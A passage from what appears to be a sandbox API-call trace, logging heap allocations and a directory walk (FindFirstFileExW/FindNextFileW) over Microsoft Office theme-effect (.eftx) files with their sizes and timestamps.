Flags=0x8, Size=0x80) returned 0xa256b8 [0072.301] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5e2e8 [0072.301] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa7a530 [0072.301] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72f4900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59b5580, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x72f4900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xa7a5, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Civic.eftx", cAlternateFileName="")) returned 1 [0072.301] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x465d9a00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59db6e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x465d9a00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x8032, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Clarity.eftx", cAlternateFileName="")) returned 1 [0072.301] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6db46700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a01840, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6db46700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x825e4, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Composite.eftx", cAlternateFileName="")) returned 1 [0072.301] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2d000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a279a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xac2d000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x5791, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Concourse.eftx", cAlternateFileName="")) returned 1 [0072.301] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72791b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a4db00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x72791b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1e0721, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Couture.eftx", cAlternateFileName="")) returned 1 [0072.301] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x760ca200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a99dc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x760ca200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x4caa1, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Elemental.eftx", cAlternateFileName="")) returned 1 [0072.302] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd252a00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd252a00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6023, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Equity.eftx", cAlternateFileName="")) returned 1 [0072.302] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49f12100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x49f12100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x3fde, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Essential.eftx", cAlternateFileName="")) returned 1 [0072.302] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a02900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x79a02900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x52a4, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Executive.eftx", cAlternateFileName="")) returned 1 [0072.302] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x144c3800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ae6080, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x144c3800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6818, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Flow.eftx", cAlternateFileName="")) returned 1 [0072.302] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10b8b100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b0c1e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x10b8b100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x4732, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Foundry.eftx", cAlternateFileName="")) returned 1 [0072.302] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d84a800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b0c1e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4d84a800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x48cf, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Grid.eftx", cAlternateFileName="")) returned 1 [0072.302] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51182f00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b32340, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x51182f00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x559e1, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Hardcover.eftx", cAlternateFileName="")) returned 1 [0072.302] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d33b000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b32340, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7d33b000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x33892, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Horizon.eftx", cAlternateFileName="")) returned 1 [0072.302] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17dfbf00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b584a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x17dfbf00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x9a7a, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Median.eftx", cAlternateFileName="")) returned 1 [0072.302] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b734600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b584a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1b734600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x5e35, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Metro.eftx", cAlternateFileName="")) returned 1 [0072.302] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd5a000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b7e600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1dd5a000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xa95d, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Module.eftx", cAlternateFileName="")) returned 1 [0072.302] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c73700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b7e600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x80c73700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x8e301, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Newsprint.eftx", cAlternateFileName="")) returned 1 [0072.302] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21692700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ba4760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x21692700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x8059, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Opulent.eftx", cAlternateFileName="")) returned 1 [0072.302] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24fcae00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bca8c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x24fcae00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xa8b9, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Oriel.eftx", cAlternateFileName="")) returned 1 [0072.302] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28903500, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bca8c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x28903500, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x9fed, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Origin.eftx", cAlternateFileName="")) returned 1 [0072.302] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c23bc00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bf0a20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2c23bc00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x37d8a, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Paper.eftx", cAlternateFileName="")) returned 1 [0072.302] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x537a8900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c16b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x537a8900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x53af, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Perspective.eftx", cAlternateFileName="")) returned 1 [0072.302] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x583f3d00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c3cce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x583f3d00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xbef29, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Pushpin.eftx", cAlternateFileName="")) returned 1 [0072.302] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x845abe00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x845abe00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6c8d, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Slipstream.eftx", cAlternateFileName="")) returned 1 [0072.302] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e861600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2e861600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6c85, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Solstice.eftx", cAlternateFileName="")) returned 1 [0072.303] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32199d00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x32199d00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x5c8c, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Technic.eftx", cAlternateFileName="")) returned 1 [0072.303] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bd2c400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5bd2c400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xa14f, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Thatch.eftx", cAlternateFileName="")) returned 1 [0072.303] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35ad2400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x35ad2400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1fb84, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Trek.eftx", cAlternateFileName="")) returned 1 [0072.303] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3940ab00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3940ab00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x4c9b, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Urban.eftx", cAlternateFileName="")) returned 1 [0072.303] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cd43200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3cd43200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x79f8, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Verve.eftx", cAlternateFileName="")) returned 1 [0072.303] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f664b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5f664b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1b778, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Waveform.eftx", cAlternateFileName="")) returned 1 [0072.303] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f664b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5f664b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1b778, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Waveform.eftx", cAlternateFileName="")) returned 0 [0072.303] GetLastError () returned 0x12 [0072.303] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9140 [0072.303] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0072.303] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5caf100, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x940000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.303] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61c8a500, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe591d000, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x61c8a500, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x5261, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Adjacency.eftx", cAlternateFileName="")) returned 1 [0072.303] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x655c2c00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5943160, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x655c2c00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6ae5, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Angles.eftx", cAlternateFileName="")) returned 1 [0072.303] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5943160, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x83b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x354c6, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Apex.eftx", cAlternateFileName="")) returned 1 [0072.303] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f368c00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3f368c00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xbf81, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Apothecary.eftx", cAlternateFileName="")) returned 1 [0072.303] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39bc200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x39bc200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x581a, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Aspect.eftx", cAlternateFileName="")) returned 1 [0072.303] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42ca1300, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe598f420, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x42ca1300, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x696d, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Austin.eftx", cAlternateFileName="")) returned 1 [0072.303] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68efb300, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe598f420, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x68efb300, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x96e87, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Black Tie.eftx", cAlternateFileName="")) returned 1 [0072.303] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72f4900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59b5580, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x72f4900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xa7a5, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Civic.eftx", cAlternateFileName="")) returned 1 [0072.303] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x465d9a00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59db6e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x465d9a00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x8032, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Clarity.eftx", cAlternateFileName="")) returned 1 [0072.304] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6db46700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a01840, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6db46700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x825e4, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Composite.eftx", cAlternateFileName="")) returned 1 [0072.304] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2d000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a279a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xac2d000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x5791, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Concourse.eftx", cAlternateFileName="")) returned 1 [0072.304] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72791b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a4db00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x72791b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1e0721, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Couture.eftx", cAlternateFileName="")) returned 1 [0072.304] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x760ca200, ftCreationTime.dwHighDateTime=0x1cbded9, 